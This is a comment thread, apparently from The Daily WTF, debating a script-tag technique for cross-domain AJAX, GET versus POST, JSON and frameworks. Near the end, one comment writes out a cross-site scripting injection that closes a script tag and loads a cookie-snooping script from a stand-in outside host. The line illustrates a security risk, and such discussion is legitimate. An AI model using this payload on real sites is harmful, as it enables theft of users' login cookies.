• (cs) in reply to /Arthur

    How about this one. It is in the wild. We don't need no steenkin' s!

    
	
	
    Name of product
    Description of product
  • (cs) in reply to WIldpeaks
    WIldpeaks:
    abx:
    Disiance:
    The way I did "AJAX" before the acronym existed was with IFRAMEs. Load the document in the IFRAME and let some Javascript in the IFRAME update the main page.

    And what do you know? It's worked perfectly every time. A bit messy code-wise, but it did the trick.

    Yeees, I did exactly this as well, it was AWESOME, and it was clear for everyone to see how it was awesome, and then some guys came up with this AJAX thingy, and whatever I had achieved was no longer impressive :(
    Yup we're getting old
    I can still remember that it was called "Remote Scripting" which I thought was a funky name. And not that crappy Microsoft way either (which got nicely buggered up when they removed the JVM from XP), but more like what Brent Ashley did...

  • Abscissa (unregistered)

    The real WTF is using client-side scripting the the first place. Ajax and JS blow. With people disabling JS, or selective portions of it, in addition to the obvious browser issues, as a general rule you can never trust the client side to get anything right, otherwise you're guaranteed to end up with tons of reliability problems.

    (As another wtf, the middle letter in the captcha "gy?ax" is half-clipped. I assume it's a "g"...)

  • Pete (unregistered) in reply to Abscissa

    Cookies blow harder than Ajax and JS. They make your browser fat. Real sessions should be handled with input type=hidden tags.

    ;]

  • Frank W. Zammetti (unregistered)

    If the WTF is the overall crapiness of the code, that's one thing, and I wouldn't argue... to say the technique is the WTF though, that's simply not the case IMNSHO.

    As another commenter pointed out, this is one of the ways you can get around the "same origin" policy. This allows for purely client-side mashups for instance, which is difficult to achieve any other way (I won't say impossible, just difficult). I demonstrate this in my upcoming book as a matter of fact. It's not without its flaws of course, but it's certainly not a WTF to do it this way if you have a reason to (which doesn't seem to be the case here I grant you).

    Now, whether it's AJAX or not in the first place... well, that depends on your definition of the term. If you simply read the acronym literally, then no, this isn't AJAX at all. However, AJAX is more a general way of thinking about client-server interaction, a different way of looking at how a webapp looks, feels and works. Hey, if I return JSON instead of XML, am I doing AJAX? Very few would say no, but strictly speaking, it's no longer AJAX. If I return Javascript, as does Google Suggest for instance, is that not AJAX? Again, most would say it still is, although it really isn't if you go just by the acronym. Why would this technique not be considered AJAX then? Because XMLHttpRequest isn't involved? That's a pretty limited definition then, one which doesn't accurately reflect the idea of AJAX being a conceptual approach rather than a specific technique, which is the key point.

    And about hand-coding... I've always thought that was a bit of a foolish argument, to a certain extent. I mean, you write Java, C and PHP code, right? When your boss say implement an interest compounding routine for example, sure, If your smart you'll go see what may exist already and evaluate it for use, but your not going to say to him "nope, can't do it, there's no library that does exactly what we need", are you? Of course not! Libraries are great, and by all means everyone should look at them when deciding to do AJAX (or any client-side development really, because Javascript has historically been a bit of a pain to develop and debug, while that's less true these days with all the great tools, there's still truth in it). You should most definitely think twice about NOT using a good framework or library. But to rip someone for hand-coding something, especially when you don't know the motivation, that doesn't seem right to me (however, I will agree that in this case, even without all the facts, I'm thinking it wasn't a bright idea either!)

    CAPTCHA: alarm, as in alarm bells, which is what should have been going off in his head as soon as David realized the data was being sent via GET rather than POST!

  • Brian Reischl (unregistered) in reply to Frank W. Zammetti

    I've got to agree with Frank here. The technique used is actually perfectly valid for cross-domain scripting. There are quasi-specs for it (such as Dynamic Script Remoting aka DSR), and libraries that implement it (Dojo, for one).

    Of course one of the limitations is that you cannot POST using it, which makes it unsuitable for many applications without some serious client and server side hacking (see DSR).

    So the whole SCRIPT block thing is a valid way to do AJAX-ish stuff. The WTF here is why it was chosen when it wasn't needed, and why it was implemented badly instead of using one of the existing libraries.

  • (cs)

    AJAX implementations don't need to return Javascript in order to be useful and functional. They also don't need to pass XML-formatted data via XMLHTTPRequest. Which leads to...

    JSON is a well-thought out method. It's a Swiss Army Knife with more functionality than you're likely to ever need. It's about the time that you get deeply into relying on it that you realize that a seven foot long, three hundred pound Swiss Army Knife isn't always all that desirable, and sometimes the overhead of a full JSON implementation isn't close to being worth it.

    A project I worked on used AJAX without JSON (or any framework) for data passing. At the time there were no JSON implementations which worked under PHP4 which was (and seems to still be) the standard available PHP for enterprise distros of Linux.

    Yes, I can compile Apache and PHP in my sleep by this point (assuming I was awake for the planning and config phase), but stable scalability tends to require consistency, and custom compiled packages are one of those things that drives down consistency.

    Looking at the requirements for a full JSON implementation, we decided to shortcut it because of our needs (internal app used by very few people, with no need for internationalization; it's unlikely that people are going to be inserting unicode into hostnames anytime soon).

    Anyhow, yes, the code presented was unpretty and hackish.

    But still, it's not unthinkable to code an AJAX app without a major framework to drive it. Major frameworks tend to produce their own sets of issues, as well. Like, supportinng and maintaining them. Just imagine how fun it'll be to reinvent all your wheels when the framework project is deprecated, because the winds have shifted.

    In my personal (albeit highly overrated) opinion though, it's beyond unrealistic to pretend that one size of solution should (or even can) fit all problems.

    Cheers, -mh.

  • (cs)

    You know, there is one MAJOR advantage with his approach.

    If I have a website on http://www.mysite.com, using his method, it can post data to http://www.anothersite.com without error. Whereas using "AJAX" proper, the XMLHTTP object won't let you make cross-site requests.

    It's kind of an amazingly-stripped-down version of JSON.

  • (cs)

    Are they still friends now? :-)

    Evidence that friendship is no substitute for real knowledge. And David is an equal fool to not having verified the competency of his friend.

  • Rich (unregistered)

    Can I suggest that whenever you need to use the word "Ajax" in conversation with a "Web 2.0" zealot, you make a point of pronouncing it "Eye-Axe", like the Dutch football team. That annoys the hell out of them, and will leave you with a warm, fuzzy feeling inside. :-)

  • Anthony (unregistered) in reply to Rich
    The browser-side demo looked great but all the forms were submitting data through GET instead of POST. This was a major problem for the application,

    I love the WTF in this wtf lol. Even when you are truly sendin g asynchronous html requests to the server through AJAX you still use GET and POST. Not using them would be a much bigger problem for the application I think lol.

    in example: if ( xhReq.readyState == 0 || xhReq.readyState == 4 ){ //initiate XmlHTTPRequest xhReq.open("GET", "repcp.php?callback=drcp&cbArgs=null", true); xhReq.onreadystatechange = aSRhandle; xhReq.send(null); }

  • JiveFive (unregistered)

    Hmm ok maybe the true WTF of this whole post lies in accusing people of doing stupid code without fully understanding the limits and boundaries of the language at hand.

    I've worked with AJAX style web applications for a while now and one thing an experienced AJAX developer has to know is that the httprequest object has a built in cross-domain security limitation which prevents you from adressing other domains through the httprequest object other than the one the application resides on. Therefore this is the only way to retrive data from a foreign domain and do a partial page update.

    Ofcourse I can't say if this is the case in this example and if the hack is really needed - but neither can anyone else without knowing the full story.

  • someone (unregistered) in reply to Security Guy

    You mean: text=""></script><script src="snoopie.com/bwuhahaha.cgi"; Where snoopie.com/bwuhahaha.cgi returns some sort of password snooper to run on the login cookies.

Leave a comment on “Reinventing the Web”

Log In or post as a guest

Replying to comment #:

Log Out

« Return to Article